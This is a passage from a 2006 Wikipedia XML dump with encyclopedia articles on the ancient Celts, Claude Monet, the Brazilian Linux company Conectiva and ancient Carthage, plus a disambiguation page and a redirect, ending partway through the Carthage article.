The pre-Christian Celts had a well-organized social structure, based on class and kinship, with the religion we call [[Celtic polytheism]]. Elected Kings led the tribes, and society was divided into three groups: a warrior aristocracy, an intellectual class including druids, poets, and jurists, and everyone else. Women participated both in warfare and in kingship, and all the offices of high and low kings were filled by election under the system of [[tanistry]], both factors which would confuse Norman writers expecting the feudal principle of  [[primogeniture]] where the succession goes to the first born son. Little is known of family structure, but [[Athenaeus]] in his ''Deipnosophists,'' 13.603, claims that &quot;the Celts, in spite of the fact that their women are very beautiful, prefer boys as sexual partners. There are some of them who will regularly go to bed – on those animal skins of theirs – with a pair of lovers,&quot; implying with a woman ''and'' a boy.

Celtic societies were organised around warfare, but this seems to have been more of a sport focussed on raids and hunting rather than organised territorial conquest, drawing obvious comparisons to warfare among [[Indigenous peoples of the Americas|Native Americans]] prior to European contact. This was the age of [[Hillfort]]s and [[dun]]s, but there was apparently no [[urbanization]]. 

There is strong archeological evidence to suggest that the pre-Roman Celtic nations were tied into a network of overland trade routes that spanned [[Eurasia]] from Ireland to China.  Celtic traders were also in contact with the Phoenicians, gold works made in Pre-Roman Ireland have been unearthed in archeological digs in Palestine, and trade routes between the Celtic nations and Palestine date back to at least 1600 BC.  

Local trade was largely in the form of barter, but as with most tribal societies they probably had a reciprocal economy in which goods and other services are not exchanged, but are given on the basis of mutual relationships and the obligations of kinship. Though they had a written language, the [[Ogham]] script, it was only used for ceremonial purposes and they produced little in the way of literary output.  Instead, Celtic peoples preferred the oral Bardic tradition.  The oldest recorded rhyming poetry in the world is of Irish origin and is a transcription of a much older epic poem, leading some scholars to claim that the Celts invented [[Rhyme]].  They were highly skilled in visual arts and [[Celtic art]] produced a great deal of intricate and beautiful metalwork, examples of which have been preserved by their distinctive burial rites.  

In some regards the Atlantic Celts were conservative, for example they still used [[chariot]]s in combat long after they had been reduced to ceremonial roles by the Greeks and Romans, though  when faced with the Romans, and in the Atlantic islands their chariot tactics defeated the invasion attempted by [[Julius Caesar]].

==Celtic religious patterns==
Although Celtic gods varied from region to region and tribe to tribe, the Celtic religion had some patterns. For example like Mediterranean cultures most early Celts worshipped in sacred groves. This was once postulated to have occurred because of Celts trading with Mediterranean cultures; however, evidence from Hallstatt era finds show that the earliest Celts practiced this before such trade took place. More reasonably, it is a byproduct of most primitive religion to worship in such a way. However, [[La Tène culture|La Tène]] Celts also built temples of varying size and shape, though they still usually maintained sacred trees, or votive pools. Worship was, in this way, defered to temples, when they were available. Numerous temples were converted by the Romans, and with little difficulty; the design was rather similar to Roman temples, as they were both highly influenced by the Greeks, architecturally speaking.

Their druid postitions vary; a druid is not always a priest. Druids are any members of a Celtic society who had what we would view today as a college education. The most educated druids were usually doctors, priests, and heralds, as these occupations required the most memorization and skill for their practices. Priests from this class were in charge of a great deal of religious festivals, as well as organizing the calendar; a daunting task as the Celtic calendar is incredibly accurate, but required manual correction about every 40 years, meaning lengthy mathematic discourse. 

Druids also carried out sacrifices of crops, animals, and during specific festivals, humans. In a Celtic society, people were not executed for crimes, except during these festivals. Such executions varied, depending on what god the execution was dedicated to. Among the most famous is the human sacrifices practiced in the course of Essus worship. Essus was, more or less, a benevolent law god to many Celts, particularly Gauls. However, Essus worship also intoned a sense of merciless behavior toward repeated criminals, rapists, traitors, and other societal dregs. The offender, if found guilty, would be taken to the temple of Essus, where an oak would be growing through an opening in the temple roof. His stomach would be cut open, and he would be hung from an oak branch.

The Celts' gods were often named after natural things. For example the source of rivers would often have their own goddesses, though rarely many gods. Another theme with Celt gods were triple deities; not only goddesses, but numerous gods. For example the Mothers of Britain, or Cromm Cruach's slovenly, deific, and humanistic forms. The main deities of Celtic religion, contrary to much misconception, were usually male. The world in some remaining myths is often depicted as having been forged by a god with a hammer, such as Dagda or Sucellos, who then poured all life from a magic cauldron or cup; a source of pre-Christian 'Holy Grail' myths in Celtic societies.

While deities varied, several constant deities or demigods existed over a wide area. A great example is Lugos, a heroic sun god from Gaul and the southern, Gallic parts of Britain. He is also known as Lugh (in Ireland), Lleu (in Wales), and Lug (among Celtiberians, who were not culturally true Celts). Early depictions of him exist as early as the Hallstatt era, suggesting him as one of the longest existing gods of Celtic religion. Similar is the horse and fertility goddess, Epona, who was also worshipped by the Romans when they came to rule Gaul. She also seems to have existed from the early era. Finally, there is Sucellos, who is argued by some to have been the 'creator of the universe' in some Celtic religions. He is party to Dagda of Ireland, and was worshipped over an enormous area, including by non-Celtic peoples such as the Lusitani. He was the patron god of the Ordovices tribe of Britain, and was built up by the Arverni and their allies to replace the druidic god Cernunnos, as the Gallic druids were allies of their enemies in the rule for Gaul; the Aedui.

Other religious practices also existed; Celts seem to have universally removed body hair. Some postulate this as religious, but was more realistically part of the Celtic propensity for cleanliness. Body hair kept dirt close to the body, and Celts were an extremely cleanly people, so this was unacceptable. However, Celts also took heads from dead enemies. This was definitely a religious practice in origin. However, even post-Christian Gaels continued this practice into the middle ages; some Irish even took to scalping the heads that they took, so they could braid the scalp through rings on their weapons. The religious connotations by that point were slim, but it does imply that taking heads had incredible cultural importance to have persisted so long after the religious background had been removed. To our understanding, Celts believed the soul resided in the head, and that capturing a head meant that one captured the soul of an opponent, and that when a Celt died, the dead whom he had collected would serve him as slaves for eternity.

== Celts as head-hunters ==
&quot;Amongst the Celts the human head was venerated above all else, since the head was to the Celt the soul, centre of the emotions as well as of life itself, a symbol of divinity and of the powers of the other-world.&quot; - Paul Jacobsthal, ''Early Celtic Art''.

The Celtic cult of the severed head is documented not only in the many sculptured representations of severed heads in [[La Tène culture|La Tène]] carvings, but in the surviving Celtic mythology, which is full of stories of the severed heads of heroes and the saints who carry their decapitated heads, right down to ''[[Sir Gawain and the Green Knight]]'' who picks up his own severed head after Gawain has struck it off, just as [[St. Denis]] carried his head to the top of [[Montmartre]]. Separated from the mundane body, although still alive, the animated head acquires the ability to see into the mythic realm. 

[[Diodorus Siculus]], in his 1st century ''History'' had this to say about Celtic head-hunting:
&quot;They cut off the heads of enemies slain in battle and attach them to the necks of their horses. The blood-stained spoils they hand over to their attendants and carry off as booty, while striking up a paean and singing a song of victory; and they nail up these first fruits upon their houses, just as do those who lay low wild animals in certain kinds of hunting. They embalm in cedar oil the heads of the most distinguished enemies, and preserve them carefully in a chest, and display them with pride to strangers, saying that for this head one of their ancestors, or his father, or the man himself, refused the offer of a large sum of money. They say that some of them boast that they refused the weight of the head in gold; thus displaying what is only a barbarous kind of magnanimity, for it is not a sign of nobility to refrain from selling the proofs of one's valour. It is rather true that it is bestial to continue one's hostility against a slain fellow man.&quot;

The Celts also believed that if they attached the head of their enemy to a pole or a fence near their house, the head would start crying when the enemy was near.

The Celtic headhunters venerated the image of the severed head as a continuing source of spiritual power. If the head is the seat of the soul, possessing the severed head of an enemy, honorably reaped in battle, added prestige to any warrior's reputation. According to tradition the buried head of a god or hero named [[Bran the Blessed]] protected [[Britain]] from invasion across the [[English Channel]].

== Names for Celts ==
The origin of the various names used since classical times for the people known today as the Celts is obscure and has been controversial. It appears that none of the terms recorded were ever used by Celtic speakers of themselves. In particular, there is no record of the term &quot;Celt&quot; being used in connection with the inhabitants of Ireland and Britain prior to the 19th century. 

===The name &quot;Gauls&quot;===
English Gaul(s), French Gaulois(es), Spanish Galo(s), Latin Gallus or Galli, German Gallier might be from an originally Celtic ethnic or tribal name (perhaps borrowed into Latin during the early [[400s BC]], Celtic expansions into Italy). Its root may be the Common Celtic ''*galno'', meaning  &quot;power&quot; or &quot;strength&quot;. Greek ''Galatai'' (see [[Galatia]] in Anatolia) seems to be based on the same root, borrowed directly from the same hypothetical Celtic source which gave us ''Galli'' (the suffix -atai is simply an ethnic name indicator).

===The word &quot;Welsh&quot;===
The word Welsh is a Germanic word, yet it may ultimately have a Celtic source. It may be the result of an early borrowing (in the [[4th century BC]]) of the Celtic tribal name [[Volcae]] into early Germanic (becoming the [[Proto-Germanic]] [[Walh|*Walh-]], &quot;Foreigner&quot; and the suffixed form *Walhisk-). 
The Volcae were one of the Celtic peoples that barred, for two centuries, the southward expansion of the German tribes in central Germany on the line of the [[Hartz mountains]] and into [[Saxony]] and [[Silesia]].

In the middle ages certain districts of what is now Germany were known as &quot;Welschland&quot; as opposed to &quot;Deutschland&quot;, and the word is cognate with [[Vlach]] (see: [[Etymology of Vlach]]) and [[Walloons|Walloon]] as well as the 'wall' in Cornwall. During the early Germanic period, the term seems to have been applied to the peasant population of the Roman Empire, most of whom were, in the areas immediately settled by the Germans, of ultimately Celtic origin.

===The name &quot;Celts&quot;===
English Celt(s), Latin Celtus pl. Celti (Celtae), Greek Κέλτης pl. Κέλτες seem to be based on a native Celtic ethnic name (singular *Celtos or *Celta with plurals *Celtoi or *Celta:s), of unsure etymology. The root would seem to be a Primitive Indo-European *kel- or (s)kel-, but there are several such roots of various meanings to choose from (*kel- &quot;to be prominent&quot;, *kel- &quot;to drive or set in motion&quot;, *kel- &quot;to strike or cut&quot; etc.)

==See also==
*[[Saka]]
*[[Ancient Britain]]
*[[Celtic mythology]]
*[[Celtic language]]
*[[Celtic law]]
*[[Celtic art]]
*[[Celtic music]]
*[[Celtic knot]]
*Celtic [[High Cross]]es
*[[Celtic Christianity]]
*[[List of Celts]]
*[[List of Celtic tribes]]
*[[Celtic nations]]
*[[Modern Celts]]
*[[Pronunciation of Celtic]]
*[[Pan-Celticism]]
*[[Celtic League (political organisation)]]
*[[Celtic Congress]]
*[[Anglo-Celtic]]

==References==
&lt;references/&gt;

==Bibliography==
* Collis, John. ''The Celts - Origins, Myths &amp; Inventions.'' Stroud: Tempus Publishing, 2003. ISBN 0752429132.
* Cunliffe, Barry. ''The Ancient Celts.'' Oxford: Oxford University Press, 1997. ISBN 0198150105.
* Cunliffe, Barry. ''Iron age Britain.'' London: Batsford, 2004. ISBN 0713488395
* Freeman, Philip Mitchell ''The earliest classical sources on the Celts: A linguistic and historical study.'' Diss. Harvard University, 1994. [http://proquest.umi.com.proxy.lib.ohio-state.edu/pqdweb?did=740970711&amp;sid=1&amp;Fmt=2&amp;clientId=3959&amp;RQT=309&amp;VName=PQD (link)]
* James, Simon. ''The Atlantic Celts - Ancient People Or Modern Invention?'' Madison: University of Wisconsin Press, August 1999. ISBN 0299166740.
* James, Simon &amp; Rigby, Valerie. ''Britain and the Celtic Iron Age.'' London: British Museum Press, 1997. ISBN 0714123064.
* Kruta, V., O. Frey, Barry Raftery and M. Szabo. eds. ''The Celts.'' New York: Thames &amp; Hudson, 1991. ISBN 0847821935.
* Laing, Lloyd. ''The Archaeology of Late Celtic Britain and Ireland c. 400--1200 AD.'' London: Methuen, 1975. ISBN 0416823602
* MacKillop, James. ''A Dictionary of Celtic Mythology.'' Oxford: Oxford University Press, 1998. ISBN 0192801201
* McEvedy, Colin. ''The Penguin Atlas of Ancient History''. New York: Penguin, 1985. ISBN 0140708324
* Mallory, J. P. ''In Search of the Indo-Europeans: Language, Archaeology and Myth.'' London: Thames and Hudson, 1991.  ISBN 0500276161.
* Powell, T. G. E. ''The Celts.'' New York: Thames and Hudson, 1980. third ed. 1997. ISBN 0500272751.
* Raftery, Barry. ''Pagan Celtic Ireland: The Enigma of the Irish Iron Age.'' London: Thames &amp; Hudson, 1994. ISBN 0500279837.
* Renfrew, Colin. ''Archaeology and Language: The Puzzle of Indo-European Origins.'' Cambridge: Cambridge University Press, 1990. ISBN 0521386756.
* Ward-Perkins, Bryan. &quot;Why Did The Anglo-Saxons Not Become More British?&quot; in ''English Historical Review'', June 2000.
* Weale, M. &quot;Y Chromosome Evidence For Anglo-Saxon Mass Migration.&quot; in ''Society For Molecular Biology And Evolution'', 2002.
* Lloyd and Jenifer Laing. ''Art of the Celts'',  London: Thames and Hudson, 1992 ISBN 0500202567 
* Rosser, ZH et al. &quot;Y-chromosomal diversity in Europe is clinal and influenced primarily by geography, rather than by language.&quot;, Am J Hum Genet. 2000 Dec;67(6):1376-81.

&lt;!-- AWOL:
*Article On Study Re Celtic Population by Cristian Capelli, David Goldstein and others at University College London. http://www.iht.com/cgi-bin/generic.cgi?template=articleprint.tmplh&amp;ArticleId=97790
--&gt;

==External links==
*[http://www.resourcesforhistory.com Celts and Romans]
*[http://www.familytreedna.com/pdf/capelli2_CB.pdf &quot;A Y Chromosome Census of the British Isles&quot; (pdf)]
* BBC [http://news.bbc.co.uk/1/hi/wales/2076470.stm &quot;English and Welsh are races apart&quot;] 
* BBC [http://www.bbc.co.uk/history/programmes/bloodofthevikings/genetics_results_07.shtml &quot;Descendents of the ancient Britons in genetic survey results for Rush and Castlerea, Ireland, [[2003]]&quot;.]
*[http://www.pubmedcentral.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=15309688 The Long Duration of Genetic Ancestry: Multiple Genetic Marker Systems and Celtic Origins on the Atlantic Facade of Europe, October 2004]
* [http://www.lonympics.co.uk/top10citiesincelticland.htm] A list of the 10 largest Celtic cities, and at the bottom a list of the world's countries that consider themselves to be Celtic.

[[Category:Ancient peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Celts]]
[[Category:Ethnic groups in Europe]]

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  </page>
  <page>
    <title>Conductor</title>
    <id>6547</id>
    <revision>
      <id>38063998</id>
      <timestamp>2006-02-03T22:51:27Z</timestamp>
      <contributor>
        <username>Dual Freq</username>
        <id>578219</id>
      </contributor>
      <minor />
      <comment>Redirection bypass from [[Conductor (music)]] to [[Conducting]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Wiktionarypar|conductor}}
'''Conductor''' may refer to
*[[Conductor (material)]], a material in which an electric current can be produced. Most metals are good conductors.
*[[Conducting|Conductor (music)]],The person who leads a musical ensemble.
*[[Conductor (transportation)]], a person who sells and checks tickets on a bus, train, etc.

====Related terms====
* [[conduct]]


{{disambig}}

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[[de:Leiter]]
[[es:Conductor]]
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[[sv:Ledare]]</text>
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  </page>
  <page>
    <title>Claude Monet</title>
    <id>6548</id>
    <revision>
      <id>41905715</id>
      <timestamp>2006-03-02T14:47:07Z</timestamp>
      <contributor>
        <username>Etacar11</username>
        <id>162093</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:ClaudeMonet.jpg|right|frame|Claude Monet]]
'''Claude Monet''' also known as '''Oscar-Claude Monet''' or '''Claude Oscar Monet''' ([[November 14]], [[1840]] &amp;ndash; [[December 5]], [[1926]]) was a [[France|French]] [[impressionism|impressionist]] painter.  His painting ''Impression: Sunrise'' was the source for the naming of the [[Impressionism]] movement.  

==Life==
[[Image:Claude Monet 049.jpg|thumb|left|Self-portrait, by Monet]]
Monet was born in [[Paris]], but his family moved to [[Le Havre]] in [[Normandy]] when he was five. His father wanted him to go into the family grocery store business, but Claude Monet wanted to become an artist.

He first became known locally for his charcoal caricatures, which he would sell for ten to twenty [[francs]]. On the beaches of Normandy, he met fellow artist [[Eugène Boudin]], who became his mentor and taught him to use oil paints. Boudin taught Monet ''[[en plein air]]'' (outdoor) techniques for painting.

When Monet travelled to [[Paris]] to visit [[The Louvre]], he would see many painters imitating famous artists' work. Monet, having brought his paints and other tools with him, would instead go and sit by a window and paint what he saw.

Monet served in the army in [[Algeria]] for two years of a seven-year commitment ([[1860]]&amp;ndash;[[1862]]), but upon his contracting typhoid his aunt Madame Lecadre intervened to get him out of the army if he agreed to complete an art course at a university.

Disillusioned with the traditional art taught at universities, instead in [[1862]] he joined the studio of [[Charles Gleyre]] in Paris, where he met [[Pierre-Auguste Renoir]], [[Frederic Bazille]], and [[Alfred Sisley]]. Together they shared new approaches to art, which later came to be known as [[impressionism]], featuring open spaces and light painted with thick brushstrokes.

Monet's [[1866]] ''The Woman in the Green Dress'' ''(Camille, ou la femme à la robe verte)'', which brought him recognition, depicted [[Camille Doncieux]]. Shortly thereafter Doncieux became pregnant and bore their first child, Jean.

During the [[Franco-Prussian War]] ([[1870]]&amp;ndash;[[1871]]), Monet took refuge in [[England]] to avoid the conflict. There he studied the works of [[John Constable]] and [[J. M. W. Turner]].

From 1871 to 1878 Monet lived at [[Argenteuil]], a village on the Seine near Paris, and here were painted some of his best known works.

[[Image:Claude Monet, Impression, soleil levant, 1872.jpg|thumb|left|275px|''[[Impression, Sunrise]] (Impression, soleil levant)'' ([[1872]]/[[1873]])]]
Upon returning to France, in [[1872]] (or [[1873]]) he painted ''[[Impression, Sunrise]] (Impression, soleil levant)'' depicting a [[Le Havre]] landscape. It hung in the first [[impressionist]] exhibition in [[1874]] and is now displayed in the [[Musée Marmottan-Monet]], [[Paris]]. From the painting's title, art critic Louis Leroy coined the term &quot;impressionism&quot;.

In [[1870]], Monet and Doncieux married and in [[1873]] moved into a house in [[Argenteuil]] near the [[Seine River]]. They had another son, Michel, on [[March 17]], [[1878]]. Madame Monet died of [[tuberculosis]] in [[1879]].

[[Alice Hoschedé]] decided to help Monet by bringing up his two children together with her own. They lived in [[Poissy]], which Monet hated. In April [[1883]] they moved to a house in [[Giverny]], [[Eure]], in [[Haute-Normandie]], where he planted a large garden which he painted for the rest of his life. Monet and Hoschedé married in [[1892]].

In the 1880s and 1890s, Monet began &quot;series&quot; painting &amp;mdash; paintings of one subject in varying light and viewpoints. His first series is of [[Rouen Cathedral]] from different points of view and at different times of the day. Twenty views of the cathedral were exhibited at the Durand-Ruel gallery in [[1895]]. He also made a series of paintings of haystacks.

[[image:monet.waterlilies.500pix.jpg|thumb|right|275px|''Water Lily Pond (Le bassin aux Nympheas)'' ([[1889]])]]
Monet was exceptionally fond of painting controlled nature &amp;mdash; his own garden, his [[water lilies]], his pond, and his bridge. He also painted up and down the banks of the [[River Seine|Seine]].

Between [[1883]] and [[1908]], Monet travelled to the [[Mediterranean]] and painted many beautiful landscapes and seascapes such as ''Bordighera''. Landmarks were another subject for Monet in the Mediterranean. His wife Alice died in [[1911]] and his son Jean died in [[1914]]. [[Cataracts]] formed on his eyes for which he underwent two surgeries in [[1923]]. He died [[December 5]], [[1926]] and is buried in the [[Giverny]] church cemetery.

In [[2004]], ''[[London]], the Parliament, Effects of Sun in the Fog (Le Parlement, Effet de Brouillard)'' ([[1904]]), sold for over [[United States dollar|U.S. $]]20 million.

==References==
* [http://www.accents-n-art.com/artists/claude-monet-biography.html Claude Monet's Biography]
* [http://www.triada.bg/Gallery/Monet/Monetbio.htm A Monet biography]
* [http://www.fondation-monet.com/uk/biographie/index.html Biography at Foundation Claude Monet à Girerny]
* [http://www.allaboutartists.com/bios/monet.html All About Artists biography of Monet]
* [http://www.intermonet.com/biograph/index.htm Biography of Claude MONET] 

==External links==
{{commons|Claude Monet}}
* [http://monet.uffs.net Claude Monet Images]
* [http://www.insecula.com/recherche/default.html?type=0&amp;mot=monet Claude Monet]
* [http://www.artofmonet.com/ Art of Monet: Web Gallery and Resource]
* [http://www.ibiblio.org/wm/paint/auth/monet/ Monet page at Webmuseum]
* [http://www.artist-quotes.bizblab.com/monet.htm Claude Monet Quotes]
* [http://search.famsf.org:8080/search.shtml?keywords=Monet Monet images at Fine Arts Museums of San Francisco]
* [http://www.intermonet.com/biograph/autobigb.htm Claude Monet by himself]
* [http://www.halter.net/gallery/monet-gv.html Claude Monet: A Virtual Art Gallery]
* [http://www.elrelojdesol.com/claude-monet/gallery/index.htm Claude Monet's Paintings]

[[Category:1840 births|Monet, Claude]]
[[Category:1926 deaths|Monet, Claude]]
[[Category:French painters|Monet, Claude]]
[[Category:Impressionist painters|Monet, Claude]]
[[Category:Cat lovers|Monet, Claude]]

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    </revision>
  </page>
  <page>
    <title>Conectiva</title>
    <id>6552</id>
    <revision>
      <id>41142862</id>
      <timestamp>2006-02-25T08:35:17Z</timestamp>
      <contributor>
        <username>Elpincha</username>
        <id>121288</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Conectiva''' is a company founded in [[August 28]], [[1995]], that was the pioneer in the distribution of [[Linux]] and [[Open Source]] in [[Brazilian Portuguese]], [[Spanish language|Spanish]] and [[English language|English]] for all of [[Latin America]]. Besides the customized Linux distribution for the Latin American market, Conectiva develops a series of products and additional services directed to the attendance of the market demand that seeks to adopt Open Source Tools; including books, manuals, additional software like Linux Tools and embedded systems, OEM programs, applications port, training kits and the &quot;Revista do Linux&quot; (Linux magazine). In addition, the company provides consulting services, training and technical support in all Latin America through its own service centers and certified partners.

Conectiva is a private company, located in [[Curitiba]], [[Paraná]] in [[Brazil]].

Conectiva also provides development, customization and professional services on a worldwide basis through its team of open source software engineers. Conectiva's development team has expertise in, amongst others, the following areas: [[Linux kernel]] development, [[high availability]], [[device driver]]s, [[XFree86]], [[network protocol]]s, [[Firewall (networking)|firewalling]], [[cluster]]ing, [[performance analysis]] and [[Optimization (computer science)|optimisation]], [[filesystem]]s and [[resource management]]. Information about Conectiva's open source projects is available at http://conectiva.com/ 

On [[24 January]] [[2005]] it was announced that [[Mandrakesoft]] was acquiring Conectiva for 1.79 million [[euro]]s (2.3 million U.S. dollars at the time). On [[7 April]] [[2005]] Mandrakesoft announced the decision to change name of the parent company to [[Mandriva]] and their distribution name to [[Mandriva Linux]], although the Brazilian operation would not change its name from Conectiva immediately.

=== Releases  ===

* Conectiva Red Hat Linux Parolin 1.0 - October/1997
* Conectiva Red Hat Linux Marumbi 2.0 - May/1998 
* Conectiva Linux Guarani  3.0 - December/1998
* Conectiva Linux Server (Intel) 1.0  - April/1999
* Conectiva Linux Server (Compaq Alpha) - May/1999
* Conectiva Linux 4.0 -  July/1999
* Conectiva Linux 4.2 Server - October/1999
* Conectiva Linux 5.0 -  February/2000
* Conectiva Linux 5.1 Server -  June/2000
* Conectiva Linux 6.0 Desktop -  November/2000
* Conectiva Linux 6.0 Server -  November/2000
* Conectiva Linux 7.0 Desktop  - July/2001
* Conectiva Linux 7.0 Server - July/2001
* Conectiva Linux 8.0 Desktop - April/2002
* Conectiva Linux 8.0 Server  - April/2002
* Conectiva Linux Enterprise Edition (UL)  - November/2002
* Conectiva Linux 9 Professional -   April/2003
* Conectiva Linux 9 Standard - April/2003
* Conectiva Linux 10 Desktop - July/2004
* Conectiva Linux 10 Professional - July/2004

== Conectiva Linux Live CD ==

* Conectiva Linux Live CD 0.5 - [[August 11]], [[2004]]
* Conectiva Linux Live CD 0.7 Beta 2 - [[September 10]], [[2004]]

FTP Mirrors:
* ftp://ftp.conectiva.com/ 
* ftp://ftp.nl.linux.org/pub/conectiva/ 
* ftp://ftp.polinux.upv.es/linux/distributions/conectiva/ 
* ftp://ftp.linux.org.uk/pub/linux/Conectiva/


[[Category:Language-specific Linux distributions]]
[[Category:Linux distributions]]

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      <text xml:space="preserve">#REDIRECT [[Computer painting]]
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  <page>
    <title>Carthage</title>
    <id>6555</id>
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      <comment>/* Carthaginian religious practices */ rv by 1: change may have been accurate, but broke current sentence without citation</comment>
      <text xml:space="preserve">:''This article is about the ancient city-state of '''Carthage''' in North Africa.  For other uses of the word, see [[Carthage (disambiguation)]].'' 

[[Image:Carthage location.png|right|frame|A map of the central [[Mediterranean Sea]], showing the location of Carthage (near modern [[Tunis]]). The map also shows [[Italy]] and the islands of [[Sicily]], [[Sardinia]], and [[Corsica]].]]

'''Carthage''' (from the [[Phoenician languages|Phoenician]] ''Qart-Hadasht'' &quot;New City&quot; (written without vowels as ''QRT HDŠT''  قرة -حدشة  or קרת חדשת), was an ancient city in [[North Africa]] located on the eastern side of [[Lake Tunis]], across from the center of modern [[Tunis]] in [[Tunisia]]. It remains a popular [[tourist]] attraction.

==Founding of Carthage==
In [[814 BC]], Carthage was founded by [[Phoenicia|Phoenician]] settlers from the city of [[Tyre]], bringing with them the [[city-god]] [[Melqart]]. Traditionally, the city was founded by [[Dido]] (or Elissa) (Dido fled from Tyre after her younger brother killed her husband to become the ruler), and a number of foundation myths have survived through [[Greek literature|Greek]] and [[Roman literature]]. (See [[Byrsa]] for one example.)

In 509 BC a treaty was signed between Carthage and [[Rome]] indicating a division of influence and commercial activities. It is the first known source that indicated Carthage had gained control over [[Sicily]] and [[Sardinia]].

By the beginning of the [[5th century BC]], Carthage was the commercial center of the region, a position it would retain until overthrown by the [[Roman Republic]]. The city had conquered the territory of the old Phoenician colonies, such as [[Hadrumetum]], [[Utica]] and [[Kerkouane]], and the [[Libya]]n tribes, spreading its control along the North African coast from modern [[Morocco]] to the borders of [[Egypt]]. Its influence had also spread into the Mediterranean, with control over [[Sardinia]], [[Malta]], the [[Balearic Islands]] and the western half of [[Sicily]]. Colonies had also been established in [[Iberian peninsula|Iberia]].

[[Image:Carthage.jpg|thumb|right|300px|Ruins of Carthage]]

==Life in Carthage==

===Carthaginian commerce===
The empire of Carthage depended heavily on its trade with [[Tartessos]] and other cities of the Iberian peninsula, from which it obtained vast quantities of [[silver]] and, even more importantly, [[tin]] ore, which was essential to the manufacture of [[bronze]] objects by the civilizations of antiquity. Carthage followed trade routes already established by her parent city, Tyre. When Tartessos fell, the Carthaginian ships went directly to the primary sources of tin in the northwestern section of the Iberian peninsula and further north, in [[Cornwall]] in the [[British Isles]]. Other Carthaginian ships went down the Atlantic coast of Africa and brought back gold from [[Senegal]]. One account has a Carthaginian trading vessel exploring Nigeria, including identification of distinguishing geographic features such as a coastal [[volcano]] and an encounter with [[gorilla]]s (See [[Hanno the Navigator]]). Non-permanent trade relations were established as far west as [[Madeira]] and the [[Canary Islands]], and as far south as southern Africa. 

If the epic poetry of Greece and the contemporary historians of imperial Rome record the military opposition of Carthage to the forces of the Greek city states, and later to Rome, then it is very much to the [[Greek theatre]] and Greek comedies that we are indebted for depictions of the generic Carthaginian merchant, hawking cloth, pots and jewellery. He was usually portrayed as an amusing scoundrel, a relatively peaceful and colourful trader intent on making a profit and cheating noble but innocent Greeks of every spare penny they might have. Diggings show evidence of all kinds of exchanges, from the vast quantities of tin needed for a bronze-based metals civilization to all manner of textiles, ceramics and fine metalwork. Before and in between the wars Carthaginian merchants were in every port in the Mediterranean, buying and selling, establishing warehouses where they could, or just bargaining in open-air markets after getting off their ship.

The [[Etruscan language]] has not yet been deciphered, but archaeological excavations of Etruscan cities show that the [[Etruscan civilization]] was for several centuries a customer and a vendor to Carthage, long before the rise of Rome. The Etruscan city-states were, at times, both commercial partners of Carthage and military allies.

===Carthaginian government===

Carthage's government was an [[oligarchy]], not unlike that of republican [[Rome]], but few details are known. Roman writers referred to its heads of state as ''reges'' &quot;kings&quot;; Punic inscriptions and Greco-Roman accounts show the indigenous term was ''Sōfetīm'' &quot;Judges&quot; (the same name early rulers are given in the Bible), which might originally have been the title of the city's governor installed by the mother city of [[Tyre]]. Later, one ''sōfet'' or two ''sōfetêm'', who were believed to have exercised judicial and executive (but not military) functions, were elected annually from among the most wealthy and influential families. These aristocratic families were represented in a supreme council comparable to the [[Roman senate]] that had a wide range of powers. However, it is not known whether the ''sōfetīm'' were elected by this council or by an assembly of the people. Although the city's administration was firmly controlled by oligarchs, democratic elements were to be found as well: Carthage had elected legislators, trade unions and town meetings. There was a system of checks and balances, as well as public accountability: the Head of the Admiralty would have to pay with his life for military defeat.

[[Eratosthenes]], head of the Greek [[library of Alexandria]], noted that the Greeks had been wrong to describe all non-Greeks as barbarians, since the Carthaginians as well as the Romans had a constitution. [[Aristotle]] also knew and wrote about the Carthaginian constitution in his &lt;i&gt;Politics&lt;/i&gt; (Book II, Chapter 11).

===Carthaginian religious practices===

Carthage under the Phoenicians was notorious to its neighbors for [[child sacrifice]]. [[Plutarch]] (ca. [[46]]-120 CE) mentions the practice, as do [[Tertullian]], [[Orosius]] and [[Diodorus Siculus]]. [[Livy]] and [[Polybius]] do not. Modern archeological excavations could be taken to confirm Plutarch's view. In a single child cemetery called the [[Tophet]] an estimated 20,000 urns were deposited between [[400 BC]] and [[200 BC]], with the practice continuing until the early years of the Christian period. The urns contained the charred bones of newborns and in some cases the bones of fetuses and 2-year-olds.  These remains have been interpreted to mean that in the cases of [[stillborn]] babies, the parents would sacrifice their youngest child. There is a clear correlation between the frequency of sacrifice and the well-being of the city. In bad times (war, poor harvests) sacrifices became more frequent, indicating an increased assiduousness in seeking divine appeasement.

It is sometimes argued, however, that these bodies were merely the cremated remains of children that died naturally, although in light of other [[Canaan]]ite evidence this seems less likely. The few Carthaginian texts which have survived make absolutely no mention of child sacrifice. It has been argued by some modern scholars that evidence of Carthaginian child sacrifice is sketchy at best and that it is far more likely to have been part of Roman [[propaganda]] against the Carthaginians to justify their conquest and destruction. The debate is ongoing among modern archeologists and other antiquarians.

While the surviving Punic texts mention no practices of religious sacrifice, they are detailed enough to give a portrait of a very well organized caste of temple priests and acolytes performing different types of functions, for a variety of prices.

Carthage had many gods. The supreme divine couple was that of [[Tanit]] and [[Baal#Ba.27al_of_Carthage|Ba'al Hammon]]. Priests were clean shaven, unlike most of the population. In the first centuries of the city ritual celebrations included rhythmic dancing, derived from Phoenician traditions. The goddess [[Astarte]] seems to have been popular in early times. At the height of its cosmopolitan era Carthage seems to have hosted a large array of divinities from the neighbouring civilizations of Greece, Egypt and the Etruscan city-states.

==Conflict with the Greeks and Romans==
===First Sicilian War===
Carthage's success led to the creation of a powerful navy to discourage both pirates and rival nations. This, coupled with its success and growing hegemony, brought Carthage into increasing conflict with the [[Greeks]], the other major power contending for control of the central Mediterranean.

The island of Sicily, lying at Carthage's doorstep, became the arena on which this conflict played out. From their earliest days, both the Greeks and Phoenicians had been attracted to the large island, establishing a large number of colonies and trading posts along its coasts. Small battles had been fought between these settlements for centuries.

By [[480 BC]], [[Gelon]], the [[tyrant]] of Greek [[Syracuse, Italy|Syracuse]], backed in part by Greek support, was attempting to unite the island under his rule. This imminent threat could not be ignored, and Carthage - possibly as part of an alliance with [[Persian Empire|Persia]], then engaged in a war with Greece - fielded its largest military force to date, under the leadership of the general [[Hamilcar]]. Traditional accounts give Hamilcar's army a strength of three hundred thousand men; though these are almost certainly exaggerated, it must nonetheless have been of formidable force.

